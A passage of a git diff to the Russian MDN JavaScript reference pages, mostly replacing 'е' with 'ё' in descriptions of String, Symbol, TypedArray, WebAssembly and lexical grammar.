            Замененная строка может включатся в следующие специальные шаблоны:
            
+
            Заменённая строка может включатся в следующие специальные шаблоны:
            
 
 
            
  
  
  
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
            
    \n
    
-    
            Где n является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в n-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идет слева направо).
            
+    
            Где n является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в n-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идёт слева направо).
            
 
     
            Например, шаблон /яблоко(,)\sапельсин\1/ сопоставится подстроке «яблоко, апельсин,» в строке «яблоко, апельсин, вишня, персик». Более подробный пример смотрите после этой таблицы.
            
    
            
@@ -82,7 +82,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
 
 
            Вы можете передать функцию вторым параметром. Этом случае, функция вызывается после нахождения совпадений. Результат функции может быть использована как замещающая строка. (Внимание: Выше упомянутые специальные шаблоны замены в данном случае неприменимы.)
            
 
-
            Функция может быть вызвана многократно для каждого замененного совпадения, если регулярное выражение указано с глобальным флагом("g").
            
+
            Функция может быть вызвана многократно для каждого заменённого совпадения, если регулярное выражение указано с глобальным флагом("g").
            
 
 
            Функция имеет следующие аргументы:
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html
index 5b6f3895c4..021c1839ae 100644
--- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html
@@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
 
 
            Возвращаемое значение
            
 
-
            Новая строка, содержащая извлеченную часть строки.
            
+
            Новая строка, содержащая извлечённую часть строки.
            
 
 
            Описание
            
 
@@ -75,15 +75,15 @@ str.slice(0, -1);  // вернёт 'Приближается утро'
 
 
            В этом примере начальным индексом считается 11-й символ с конца строки, а конечным - 16-й с начала.
            
 
-
            str.slice(-11, 16); // вернет 'ается утр'
            
+
            str.slice(-11, 16); // вернёт 'ается утр'
            
 
 
            Здесь начальным индексом считается 6-й символ от начала строки, а конечным - 7-й с конца.
            
 
-
            str.slice(6, -7); // вернет 'жаетс'
            
+
            str.slice(6, -7); // вернёт 'жаетс'
            
 
 
            В этом примере оба индекса считаются с конца строки: 5-й для начального индекса, 1-й для конечного.
            
 
-
            str.slice(-5, -1); // вернет 'утро'
            
+
            str.slice(-5, -1); // вернёт 'утро'
            
 
 
            Спецификации
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
index 5b4a6ee85c..87d85f23ce 100644
--- a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
+++ b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
 ---
 
            {{JSRef}}
            
 
-
            Метод Symbol.for(key) ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создается новый разделяемый символ для данного ключа в глобальном реестре символов.
            
+
            Метод Symbol.for(key) ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый разделяемый символ для данного ключа в глобальном реестре символов.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/index.html b/files/ru/web/javascript/reference/global_objects/symbol/index.html
index 739474189c..71361cc695 100644
--- a/files/ru/web/javascript/reference/global_objects/symbol/index.html
+++ b/files/ru/web/javascript/reference/global_objects/symbol/index.html
@@ -35,7 +35,7 @@ var sym2 = Symbol("foo");
 var sym3 = Symbol("foo");
 
 
-
            Код выше создает три новых символа. Заметьте, что Symbol("foo") не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создает каждый раз новый символ:
            
+
            Код выше создаёт три новых символа. Заметьте, что Symbol("foo") не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создаёт каждый раз новый символ:
            
 
 
            Symbol("foo") === Symbol("foo"); // false
            
 
@@ -55,7 +55,7 @@ typeof symObj;  // "object"
 
 
            Разделяемые символы в глобальном символьном реестре
            
 
-
            Приведенный выше синтаксис, использующий функцию Symbol(), не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.
            
+
            Приведённый выше синтаксис, использующий функцию Symbol(), не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.
            
 
 
            Поиск символьных свойств у объектов
            
 
@@ -97,9 +97,9 @@ typeof symObj;  // "object"
  
            {{jsxref("Symbol.hasInstance")}}
            
  
            Метод, определяющий, распознает ли конструктор некоторый объект как свой экземпляр. Используется оператором {{jsxref("Operators/instanceof", "instanceof")}}.
            
  
            {{jsxref("Symbol.isConcatSpreadable")}}
            
- 
            Булево значение, показывающее, должен ли объект быть сведен к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.
            
+ 
            Булево значение, показывающее, должен ли объект быть сведён к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.
            
  
            {{jsxref("Symbol.unscopables")}}
            
- 
            Массив строковых имен свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).
            
+ 
            Массив строковых имён свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).
            
  
            {{jsxref("Symbol.species")}}
            
  
            Метод, определяющий конструктор для порождённых объектов.
            
  
            {{jsxref("Symbol.toPrimitive")}}
            
@@ -112,7 +112,7 @@ typeof symObj;  // "object"
 
 
            
  
            {{jsxref("Symbol.for()", "Symbol.for(key)")}}
            
- 
            Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создается новый символ для данного ключа в глобальном реестре символов.
            
+ 
            Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый символ для данного ключа в глобальном реестре символов.
            
  
            {{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}
            
  
            Получает по разделяемому символу его ключ из глобального реестра символов.
            
 
            
@@ -153,7 +153,7 @@ typeof Symbol.iterator === 'symbol'
 
 
            Символы и конструкция for...in
            
 
-
            Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернет символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.
            
+
            Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернёт символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.
            
 
 
            var obj = {};
 
@@ -175,7 +175,7 @@ for (var i in obj) {
 
 
            Подробности см. {{jsxref("JSON.stringify()")}}.
            
 
-
            Объекты-обёртки для Symbol в качестве имен свойств
            
+
            Объекты-обёртки для Symbol в качестве имён свойств
            
 
 
            Когда объект-обёртка символа используется в качестве имени свойства, этот объект сводится к символу, который он оборачивает:
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
index ac35c69346..1252063034 100644
--- a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
+++ b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive
 
 
            Описание
            
 
-
            С помощью свойства Symbol.toPrimitive (которое описывается как функция), объект может быть приведен к примитивному типу. Функция вызывается со строковым аргументом hint, который передает желаемый тип примитива. Значением аргумента hint может быть одно из следующих значений "number", "string", и "default".
            
+
            С помощью свойства Symbol.toPrimitive (которое описывается как функция), объект может быть приведён к примитивному типу. Функция вызывается со строковым аргументом hint, который передаёт желаемый тип примитива. Значением аргумента hint может быть одно из следующих значений "number", "string", и "default".
            
 
 
            Примеры
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/index.html
index 17bd236f34..3db99bf074 100644
--- a/files/ru/web/javascript/reference/global_objects/typedarray/index.html
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/index.html
@@ -35,7 +35,7 @@ Int8Array(), Uint8Array(), Uint8ClampedArray(), Int16Array(), Uint16Array(), Int
  
            object
            
  
            Новый массив создаётся так, как если бы была вызвана функция TypedArray.from()
            
  
            buffer, byteOffset, length
            
- 
            Когда происходит вызов с параметрами buffer и опциональными параметрами byteOffset и length, то будет создан новый типизированный массив, который будет отражать buffer типа {{jsxref("ArrayBuffer")}}. Параметры byteOffset и length определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (byteOffset и length) опущены, то будет использован весь буфер buffer; если опущен только length, то будет выведен весь остаток буфера после смещения начала отсчета элементов, заданного параметром byteOffset.
            
+ 
            Когда происходит вызов с параметрами buffer и опциональными параметрами byteOffset и length, то будет создан новый типизированный массив, который будет отражать buffer типа {{jsxref("ArrayBuffer")}}. Параметры byteOffset и length определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (byteOffset и length) опущены, то будет использован весь буфер buffer; если опущен только length, то будет выведен весь остаток буфера после смещения начала отсчёта элементов, заданного параметром byteOffset.
            
 
 
 
            Описание
            
@@ -218,7 +218,7 @@ for (var k in typedArrayTypes)
   
            
-   
+   
diff --git a/files/ru/web/javascript/reference/global_objects/unescape/index.html b/files/ru/web/javascript/reference/global_objects/unescape/index.html
index b0052bf0dc..0aecf842d0 100644
--- a/files/ru/web/javascript/reference/global_objects/unescape/index.html
+++ b/files/ru/web/javascript/reference/global_objects/unescape/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/unescape
 
 
            Описание
            
 
-
            Устаревший метод unescape(str) создает новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.
            
+
            Устаревший метод unescape(str) создаёт новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.
            
 
 
            Последовательность может быть результатом работы функции вроде {{jsxref("Global_Objects/escape", "escape")}}. Т.к. {{jsxref("Global_Objects/decodeURIComponent", "unescape")}} является устаревшей, используйте {{jsxref("Global_Objects/decodeURI", "decodeURI")}} или {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} вместо неё.
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/uneval/index.html b/files/ru/web/javascript/reference/global_objects/uneval/index.html
index 21cd4e9958..2fa30aeeaa 100644
--- a/files/ru/web/javascript/reference/global_objects/uneval/index.html
+++ b/files/ru/web/javascript/reference/global_objects/uneval/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/uneval
 
 
            Сводка
            
 
-
            uneval() метод создает строковое представление исходного кода объекта.
            
+
            uneval() метод создаёт строковое представление исходного кода объекта.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
index 260264b01d..e99dbd4a2d 100644
--- a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
@@ -32,7 +32,7 @@ wm.has(window)  // false
 
 
            Спецификации
            
 
-
            Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удален в последующих версиях черновика. В финальном стандарте его не будет.
            
+
            Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удалён в последующих версиях черновика. В финальном стандарте его не будет.
            
 
 
            Совместимость с браузерами
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
index 8072855d1e..595f0ab82e 100644
--- a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
@@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
 
 
            
  
            key
            
- 
            Обязателен. Ключ элемента, который будет уделен из объекта WeakMap.
            
+ 
            Обязателен. Ключ элемента, который будет уделён из объекта WeakMap.
            
 
            
 
 
            Возвращаемое значение
            
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html
index 1bf1b3c017..c849670ad7 100644
--- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html
@@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
 
 
            Почему WeakMap?
            
 
-
            Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырех общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.
            
+
            Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырёх общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.
            
 
 
            У такой реализации было бы два главных неудобства. Первым является O(n) поиск (где n — количество ключей в map), так как обе операции требуют итерирование списка ключей для нахождения совпадения. Вторым – проблема утечки памяти. В словарях, написанных вручную, массив с ключами будет хранить ссылки на объекты-ключи, не давая им быть помеченными сборщиком мусора. В нативных WeakMap, ссылки на объекты-ключи хранятся «слабо», что означает то, что они не предотвратят сборку мусора в том случае, если других ссылок на объект не будет.
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
index 90f80474a6..e463183f01 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html
@@ -69,7 +69,7 @@ fetch('simple.wasm').then(response =>
 
            Совместимость с браузером
            
 
 
            
-
+
 
 
            {{Compat("javascript.builtins.WebAssembly.compile")}}
            
 
            
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
index 106519cdf2..79b702b091 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
@@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStrea
 
 
            Примеры
            
 
-
            Следующий пример (см. Нашу демонстрацию compile-streaming.html на GitHub и view it live) напрямую передает модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.
            
+
            Следующий пример (см. Нашу демонстрацию compile-streaming.html на GitHub и view it live) напрямую передаёт модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.
            
  Поскольку функция compileStreaming() принимает обещание для объекта {{domxref("Response")}}, вы можете напрямую передать ему вызов {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, и он передаст ответ в выполняемую функцию.
            
 
 
            var importObject = { imports: { imported_func: arg => console.log(arg) } };
@@ -40,7 +40,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm'))
 .then(module => WebAssembly.instantiate(module, importObject))
 .then(instance => instance.exports.exported_func());
            
 
-
            Затем создается полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.
            
+
            Затем создаётся полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.
            
 
 
            Характеристики
            
 
@@ -65,7 +65,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm'))
 
            Совместимость с браузером
            
 
 
            
-
+
 
 
            {{Compat("javascript.builtins.WebAssembly.compileStreaming")}}
            
 
            
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/index.html
index daff5d4ee7..5265fcdac1 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/index.html
@@ -5,9 +5,9 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
 ---
 
            {{JSRef}}{{SeeCompatTable}}
            
 
-
            Объект JavaScript WebAssembly действует как пространство имен для всего WebAssembly-связанного функционала.
            
+
            Объект JavaScript WebAssembly действует как пространство имён для всего WebAssembly-связанного функционала.
            
 
-
            В отличие от большинства других глобальных объектов, WebAssembly не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имен констант и функций, или  {{jsxref("Intl")}}, который является пространством имен для конструкторов интернационализации и других языково-чувствительных функций.
            
+
            В отличие от большинства других глобальных объектов, WebAssembly не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имён констант и функций, или  {{jsxref("Intl")}}, который является пространством имён для конструкторов интернационализации и других языково-чувствительных функций.
            
 
 
            Описание
            
 
@@ -34,24 +34,24 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
 
 
            
  
            {{jsxref("WebAssembly.Module()")}}
            
- 
            Создает новый объект WebAssembly Module.
            
+ 
            Создаёт новый объект WebAssembly Module.
            
  
            {{jsxref("WebAssembly.Instance()")}}
            
- 
            Создает новый объект WebAssembly Instance.
            
+ 
            Создаёт новый объект WebAssembly Instance.
            
  
            {{jsxref("WebAssembly.Memory()")}}
            
- 
            Создает новый объект WebAssembly Memory.
            
+ 
            Создаёт новый объект WebAssembly Memory.
            
  
            {{jsxref("WebAssembly.Table()")}}
            
- 
            Создает новый объект WebAssembly Table.
            
+ 
            Создаёт новый объект WebAssembly Table.
            
  
            {{jsxref("WebAssembly.CompileError()")}}
            
- 
            Создает новый объект WebAssembly CompileError.
            
+ 
            Создаёт новый объект WebAssembly CompileError.
            
  
            {{jsxref("WebAssembly.LinkError()")}}
            
- 
            Создает новый объект WebAssembly LinkError.
            
+ 
            Создаёт новый объект WebAssembly LinkError.
            
  
            {{jsxref("WebAssembly.RuntimeError()")}}
            
- 
            Создает новый объект WebAssembly RuntimeError.
            
+ 
            Создаёт новый объект WebAssembly RuntimeError.
            
 
            
 
 
            Примеры
            
 
-
            После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаем экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (result), содержащий скомпилированные Module и объекты Instance. Мы можем вызвать Exported WebAssembly function, которая была экспортирована через Instance.
            
+
            После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаём экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (result), содержащий скомпилированные Module и объекты Instance. Мы можем вызвать Exported WebAssembly function, которая была экспортирована через Instance.
            
 
 
            var importObject = {
   imports: {
@@ -148,7 +148,7 @@ fetch('simple.wasm').then(response =>
 
            
  
            
    {{SpecName('Typed Array')}}
    {{Spec2('Typed Array')}}Определяет работу TypedArray и ArrayBufferView. Заменен в ECMAScript 6.Определяет работу TypedArray и ArrayBufferView. Заменён в ECMAScript 6.
   
            
   
            
    {{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}
            
 
 
-
            [1] WebAssembly включен в Firefox 52+, хотя не валиден в Firefox 52 Extended Support Release (ESR.)
            
+
            [1] WebAssembly включён в Firefox 52+, хотя не валиден в Firefox 52 Extended Support Release (ESR.)
            
 
 
            [2] В настоящее время поддерживается флаг «Экспериментальные функции JavaScript».  Для более подробной информации смотрите этот blog post.
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
index eb9bc5ce48..23fab50edb 100644
--- a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
+++ b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
 ---
 
            {{JSRef}}
            
 
-
            Объект WebAssembly.Table() - это JavaScript обертка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.
            
+
            Объект WebAssembly.Table() - это JavaScript обёртка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.
            
 
 
            
 
            Обратите внимание: Таблицы сейчас хранят только ссылки на функции, но это может быть расширено в будущем.
            
@@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
 
 
            
  
            WebAssembly.Table()
            
- 
            Создает новый объект Table.
            
+ 
            Создаёт новый объект Table.
            
 
            
 
 
            Экземпляры Table
            
@@ -44,14 +44,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
 
 
            Примеры
            
 
-
            Следующий пример (смотри исходный код и живую версию table2.html) создает новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.
            
+
            Следующий пример (смотри исходный код и живую версию table2.html) создаёт новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.
            
 
 
            var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
 console.log(tbl.length);  // "2"
 console.log(tbl.get(0));  // "null"
 console.log(tbl.get(1));  // "null"
            
 
-
            После этого мы создаем объект импорта содержащий таблицу:
            
+
            После этого мы создаём объект импорта содержащий таблицу:
            
 
 
            var importObj = {
   js: {
@@ -59,7 +59,7 @@ console.log(tbl.get(1));  // "null"
            
   }
 };
            
 
-
            После этого, мы создаем экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}.  Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри текстовую версию).  Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали функциями экспортированными из WebAssembly которые можно вызывать из JS.
            
+
            После этого, мы создаём экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}.  Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри текстовую версию).  Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали функциями экспортированными из WebAssembly которые можно вызывать из JS.
            
 
 
            WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
 .then(function(obj) {
@@ -68,9 +68,9 @@ console.log(tbl.get(1));  // "null"
            
   console.log(tbl.get(1)());
 });
          
 
-
          Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращенную из талицы (т.е. get(0)() вместо get(0)) .
          
+
          Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращённую из талицы (т.е. get(0)() вместо get(0)) .
          
 
-
          Этот пример показывает что мы создаем и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.
          
+
          Этот пример показывает что мы создаём и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.
          
 
 
          Спецификации
          
 
diff --git a/files/ru/web/javascript/reference/iteration_protocols/index.html b/files/ru/web/javascript/reference/iteration_protocols/index.html
index cc9b66658a..4c42e875f7 100644
--- a/files/ru/web/javascript/reference/iteration_protocols/index.html
+++ b/files/ru/web/javascript/reference/iteration_protocols/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols
 
          {{jsSidebar("More")}}
          
 
 
-
          Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определенные правила.
          
+
          Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определённые правила.
          
 
 
          Протоколы перебора
          
 
@@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols
 
 
          Протокол "Итератор" определяет стандартный способ получения последовательности значений  (конечной или бесконечной).
          
 
-
          Объект является итератором, если в нем определен метод next() , реализующий следующую логику:
          
+
          Объект является итератором, если в нем определён метод next() , реализующий следующую логику:
          
 
 
@@ -129,7 +129,7 @@ someString + ""                              // "hi"
 
 
          {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} и {{jsxref("Set")}} итерируемы, так как их прототипы содержат @@iterator метод, а {{jsxref("Object")}} нет, так как прототип {{jsxref("Object")}} не содержит метода @@iterator
          
 
-
          Итерируемость определенная пользователем
          
+
          Итерируемость определённая пользователем
          Мы можем создать итерируемый объект сами:
          
 
diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html
index 24705ce8ec..9c74d62e61 100644
--- a/files/ru/web/javascript/reference/lexical_grammar/index.html
+++ b/files/ru/web/javascript/reference/lexical_grammar/index.html
@@ -50,7 +50,7 @@ ECMAScript также определяет ключевые слова и лит
 
 
          Пробелы
          
 
-
          Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. Утилиты для уменьшения объема кода часто удаляют пробельные символы, чтобы уменьшить объем кода.
          
+
          Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. Утилиты для уменьшения объёма кода часто удаляют пробельные символы, чтобы уменьшить объем кода.
          
  
 
 
 
 
          
@@ -212,7 +212,7 @@ comment();
          Третий специализированный синтаксис комментариев, шебанг комментарий, в процессе стандартизации в ECMAScript (смотреть Hashbang Grammar proposal).
          
 
-
          Шебанг комментарий ведет себя точно также как и однострочный (//) комментарий. Вместо этого, он начинается с #! и действителен только в самом начале скрипта или модуля. Обратите внимание, что никакие пробелы не разрешены перед #!. Комментарий состоит из всех символов после #! до конца первой строки; только такой комментарий разрешен.
          
+
          Шебанг комментарий ведёт себя точно также как и однострочный (//) комментарий. Вместо этого, он начинается с #! и действителен только в самом начале скрипта или модуля. Обратите внимание, что никакие пробелы не разрешены перед #!. Комментарий состоит из всех символов после #! до конца первой строки; только такой комментарий разрешен.
          Шебанг комментарий определяет путь к  JavaScript интерпретатору, скрипт которого Вы хотите выполнить. Пример, как это работает:
          
 
@@ -366,7 +366,7 @@ false
 0777 // распознается, как восьмеричное число, 511 - как десятичное число
 
 
-
          Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идет цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about {{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}.
          
+
          Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идёт цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about {{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}.
          Binary (двоичные числа)
          
 
@@ -403,7 +403,7 @@ var m = 0o644; // 420
 
 
          var o = { a: "foo", b: "bar", c: 42 };
 
-// сокращенная нотация. Появилась в ES2015
+// сокращённая нотация. Появилась в ES2015
 var a = "foo", b = "bar", c = 42;
 var o = {a, b, c};
 // вместо
@@ -481,7 +481,7 @@ tag `string text ${expression} string text`
        • return
          • 
 
-
          Спецификация ECMAScript напоминает о трех правилах вставки точки с запятой.
          
+
          Спецификация ECMAScript напоминает о трёх правилах вставки точки с запятой.
          1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.
          
 
diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html
index 94efb4b63e..c55fa767fe 100644
--- a/files/ru/web/javascript/reference/operators/addition/index.html
+++ b/files/ru/web/javascript/reference/operators/addition/index.html
